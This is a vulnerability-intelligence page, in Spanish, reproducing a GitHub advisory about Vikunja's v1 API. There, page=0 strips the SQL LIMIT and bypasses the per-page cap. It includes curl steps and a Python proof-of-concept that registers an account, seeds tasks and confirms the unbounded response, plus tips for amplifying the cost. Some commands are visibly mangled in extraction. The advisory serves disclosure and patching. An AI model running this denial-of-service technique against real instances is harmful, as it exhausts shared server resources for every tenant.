llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · code.vikunja.io/api

GHSA-V579-5FWC-GR28

page=0 on v1 list endpoints returns the whole result set, bypassing service.maxitemsperpage

Sin parche publicado
Descargar PNG JSON
CVSS
—
low
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición29 dDesde la divulgación, 22 oct 2026, 5:09 a. m.
Detección27 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada +1
22 oct 26
18 nov 26
21 nov 26
22 oct 26
29 oct 26
6 nov 26
13 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-V579-5FWC-GR28 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The /api/v1 list endpoints validate the page query parameter only against negative values. page=0 therefore passes validation, and is then interpreted downstream as "pagination not set", which makes the limit calculation return limit = 0. Because the generated query only applies a SQL LIMIT when limit > 0, page=0 causes the server to execute the search with no LIMIT clause at all, materialising the caller's entire result set into memory and serialising it into a single response.

This defeats service.maxitemsperpage (default 50), which the API documents as a hard cap ("Note this parameter is limited by the configured maximum of items per page") and which is otherwise correctly enforced on per_page (per_page=250 is clamped to 50). With page=0, both maxitemsperpage and per_page are ignored.

No special configuration is required and self-registration is enabled by default (service.enableregistration = true), so on a default install any unauthenticated internet visitor can register an account and reach this endpoint.

Measured on a default build at commit 6cff0514: one request returned 300 tasks (205 KiB) where the documented ceiling is 50 (34 KiB). The amplification is unbounded, it scales with the caller's accessible task count, not with any server-side constant.

Only `/api/v1` is affected. `/api/v2` declares page with minimum:"1" and correctly rejects page=0 with HTTP 422.

Details

The root cause is that the page parameter is bounded only on the negative side, while per_page is bounded on the upper side. page=0 therefore slips past validation and is converted into "no pagination", which removes the LIMIT entirely.

  1. pkg/web/handler/read_all.go:55-68, only negative pages are rejected, so page=0
    passes:
    page := ctx.QueryParam("page"); if page == "" { page = "1" }
        pageNumber, err := strconv.Atoi(page)
        ...
        if pageNumber < 0 { return echo.NewHTTPError(http.StatusBadRequest, ...) }

Note that per_page is bounded a few lines later (read_all.go:84-90), which is why the cap holds for per_page but not for page.

  1. pkg/models/task_collection.go:397-398, the unchecked value is passed straight into
opts.page = page
opts.perPage = perPage
  1. pkg/models/models.go:94-99, page < 1 is treated as "not set" and yields limit 0:
// Get everything when page index is -1 or 0 (= not set)
if page < 1 { return 0, 0 }

This 0 = unlimited sentinel is the intended "fetch everything" path used by internal callers, but it is reachable from an unauthenticated-input HTTP query parameter.

  1. pkg/models/task_search.go:638, the limit is consumed:
limit, start := getLimitFromPageIndex(opts.page, opts.perPage)
  1. pkg/models/task_search.go:695-697, the sink. With limit == 0 no LIMIT is emitted:
if limit > 0 { query = query.Limit(limit, start) }
  1. pkg/models/task_search.go:717-719, the full result set is materialised:
query.OrderBy(orderby).Find(&tasks)

8. pkg/models/task_search.go:750-757, an unbounded count(tasks.id) is also issued.

9. pkg/models/tasks.go:709 addMoreInfoToTasks, for every returned task this fans out
into ~10 additional correlated queries (labels, assignees, attachments, reminders,
comments, reactions, related tasks, …). The whole result is then JSON-serialised.

Amplification multipliers

- expand= sub-trees: pkg/models/task_search.go:450-491 fetchAccessibleSubtasks walks the descendant graph with no LIMIT and one round trip per 1000-task frontier layer, and the result is appended after the LIMIT was applied, so expand sub-trees are unbounded even without page=0.

- Filter complexity: pkg/models/task_collection_filter.go:273 caps a filter at 16 KiB (maxFilterBytes). That cap was introduced for GHSA-xxc3-xpmc-vmvr to stop fexpr parser blowup, but it does not bound the size of the generated SQL. pkg/models/task_search.go:262-274 emits one correlated EXISTS subquery per sub-table condition, so a 16 KiB filter yields on the order of ~1200 correlated EXISTS subqueries. Combined with page=0 (no LIMIT) this becomes a full scan of the caller's scope carrying those ~1200 index probes per row, plus a second full scan for the count.

Scope / not affected

  • /api/v2 is safe: pkg/routes/api/v2/types.go:60 declares
  • This is not a data-exposure or authorisation bug. Returned rows remain confined to

Affected versions

Present in every release checked from v1.0.0 through v2.7.0 (v1.0.0, v2.0.0, v2.4.0,
v2.5.0, v2.6.0, v2.7.0) — the pattern appears to be long-standing rather than a
recent regression.

Suggested fix

In pkg/web/handler/read_all.go, after the negative check, add
`if pageNumber == 0 { pageNumber = 1 }`, so the internal "fetch everything"
sentinel can no longer be reached from a query parameter. Don't change the
model: page:0, perPage:-1 is the intentional internal fetch-all
(pkg/models/user_delete.go:97).
Optionally, add a server-side row ceiling in pkg/models/task_search.go that also
bounds the expand sub-task traversal at pkg/models/task_search.go:450-491, and cap
the number of generated EXISTS subqueries in pkg/models/task_collection_filter.go:validateFilterComplexity.

Proof of concept

Configuration: default install, no special settings.

service.enableregistration: true      (default)
service.enablelogin: true             (default)
database: sqlite                      (default)
service.maxitemsperpage: 50           (default)

The server reports this cap itself:

$ curl -s http://127.0.0.1:3456/api/v1/info | jq .max_items_per_page
"20MB" ... max_items_per_page: 50

Steps:

  1. Register (open by default) and log in
   curl -s -X POST http://127.0.0.1:3456/api/v1/register
 -H 'Content-Type: application/json'
 -d '{"username":"poc","password":"PoC-Passw0rd!","email":"poc@example.com"}'

   TOKEN=$(curl -s -X POST http://127.0.0.1:3456/api/v1/login
 -H 'Content-Type: application/json'
 -d '{"username":"poc","password":"PoC-Passw0rd!"}' | jq -r .token)
  1. Seed 300 tasks
   PID=$(curl -s -X PUT http://127.0.0.1:3456/api/v1/projects
 -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json'
 -d '{"title":"poc"}' | jq -r .id)

   for i in $(seq 1 300); do
     curl -s -X PUT "http://127.0.0.1:3456/api/v1/projects/$PID/tasks"
 -H "Authorization: Bearer TOKEN" -H ′Content-Type: application/json′        -d ""title":"ti"}" > /dev/null
   done

3. The documented cap is enforced on per_page:
4.

   curl -s "http://127.0.0.1:3456/api/v1/tasks?per_page=250"
 -H "Authorization: Bearer $TOKEN" | jq length
     => 50
  1. ...but adding page=0 removes the LIMIT entirely, and per_page is ignored too:
   curl -s "http://127.0.0.1:3456/api/v1/tasks?page=0&per_page=1"
 -H "Authorization: Bearer $TOKEN" | jq length
     => 300

   curl -s "http://127.0.0.1:3456/api/v1/tasks?page=0"
 -H "Authorization: Bearer $TOKEN" | wc -c
     => 210326 (~205 KiB, vs ~34 KiB for the capped response)
  1. v2 is correctly scoped:
   curl -s -o /dev/null -w '%{http_code}\n'
 "http://127.0.0.1:3456/api/v2/tasks?page=0" -H "Authorization: Bearer $TOKEN"
     => 422

A self-contained script that performs the whole setup and asserts the result is also
available, it registers its own throwaway account, seeds the tasks, measures, and exits
`0` when vulnerable / `2` when the target is unreachable:

#!/usr/bin/env python3
"""PoC: Vikunja v1 pagination cap bypass via page=0 (CWE-770)."""
import json, sys, time, urllib.error, urllib.request

BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:3456").rstrip("/")
NTASKS = int(sys.argv[2]) if len(sys.argv) > 2 else 300
SUFFIX, USER, PASS = str(int(time.time())), None, "PoC-Passw0rd!"
USER = "poc_pagin_" + SUFFIX

def req(method, path, token=None, body=None, version="v1", raw=False, timeout=120):
    url = f"{BASE}/api/{version}{path}"
    data = json.dumps(body).encode() if body is not None else None
    r = urllib.request.Request(url, data=data, method=method)
    r.add_header("Content-Type", "application/json")
    if token: r.add_header("Authorization", "Bearer " + token)
    t0 = time.time()
    try:
        with urllib.request.urlopen(r, timeout=timeout) as x:
            p = x.read()
            return x.status, (p if raw else json.loads(p)), time.time() - t0
    except urllib.error.HTTPError as e:
        p = e.read()
        try: return e.code, json.loads(p), time.time() - t0
        except Exception: return e.code, p, time.time() - t0
    except Exception as e:
        return 0, str(e), time.time() - t0

def setup():
    st, _, _ = req("POST", "/register", body={"username": USER, "password": PASS,
                                              "email": USER + "@example.com"})
    if st not in (200, 201): print(f"[!] registration failed: {st}"); sys.exit(2)
    st, tok, _ = req("POST", "/login", body={"username": USER, "password": PASS})
    st, proj, _ = req("PUT", "/projects", tok["token"], {"title": "poc-pagination"})
    return tok["token"], proj["id"]

def measure(token, qs, version="v1"):
    st, body, dt = req("GET", "/tasks?" + qs, token, version=version, raw=True)
    if st != 200: return None, 0, dt, f"HTTP {st}"
    return len(json.loads(body)), len(body), dt, None

token, pid = setup()
for i in range(NTASKS): req("PUT", f"/projects/{pid}/tasks", token, {"title": f"task-{i}"})

print(f"{'query':<34}{'tasks':>8}{'bytes':>13}{'latency':>11}")
rows = {}
for label, qs in [("per_page=50", "per_page=50"), ("per_page=250 (above cap)", "per_page=250"),
                  ("per_page=1", "per_page=1"), ("page=0&per_page=1", "page=0&per_page=1"),
                  ("page=0", "page=0")]:
    n, b, dt, err = measure(token, qs)
    if err: continue
    rows[label] = n
    print(f"{label:<34}{n:>8}{b/1024:>10.1f} KiB{dt*1000:>8.1f} ms")

st, _, _ = req("GET", "/tasks?page=0", token, version="v2", raw=True)
print(f"\nv2 scoping check: /api/v2/tasks?page=0 -> HTTP {st}")

capped, bypass = rows.get("per_page=250 (above cap)"), rows.get("page=0")
if capped and bypass and bypass > capped:
    print(f"[+] VULNERABLE: capped={capped} tasks, page=0={bypass} tasks "
          f"({bypass/capped:.1f}x the documented ceiling)")
    sys.exit(0)
print("[-] NOT REPRODUCED"); sys.exit(1)

Impact

Who is impacted? Every user of a self-hosted Vikunja instance. No configuration change is required and no elevated privilege is needed.

Any authenticated API user can trigger it. Because self-registration is enabled by default (service.enableregistration, default true), an unauthenticated internet visitor can register an account and reach the endpoint, so in a default deployment the effective barrier to entry is "fill in the sign-up form".

What happens: a single GET with one query parameter makes the server execute a search with no SQL LIMIT, materialise every matching row in memory, issue an unbounded count(*), and run a ~10-query-per-row fan-out before serialising everything into one response. The configured maxitemsperpage guard is the mechanism intended to bound this cost, and it is bypassed entirely.

Why it matters in a multi-tenant deployment: Vikunja instances are typically shared by many users against one database. A single low-privilege account can repeatedly force full scans and large result materialisation, competing for DB connections, memory and CPU with every other tenant. Cost scales with the attacker's reachable task set, which for a member of a large shared project or organisation is substantial, and is multiplied further by expand= (unbounded sub-task traversal) and by a 16 KiB filter (~1200 correlated EXISTS subqueries per row).

Not affected: confidentiality and integrity. Returned rows remain confined to the caller's authorised projects, and no data belonging to other users is exposed. This is an availability-only issue.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
code.vikunja.io/api≥ 1.0.0 ≤ 2.7.0
v0.24.6
1.0.0
2.7.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gocode.vikunja.io/api
Sin parche — — v0.24.6 no afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/go-vikunja/vikunja/security/advisories/GHSA-v579-5fwc-gr28

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.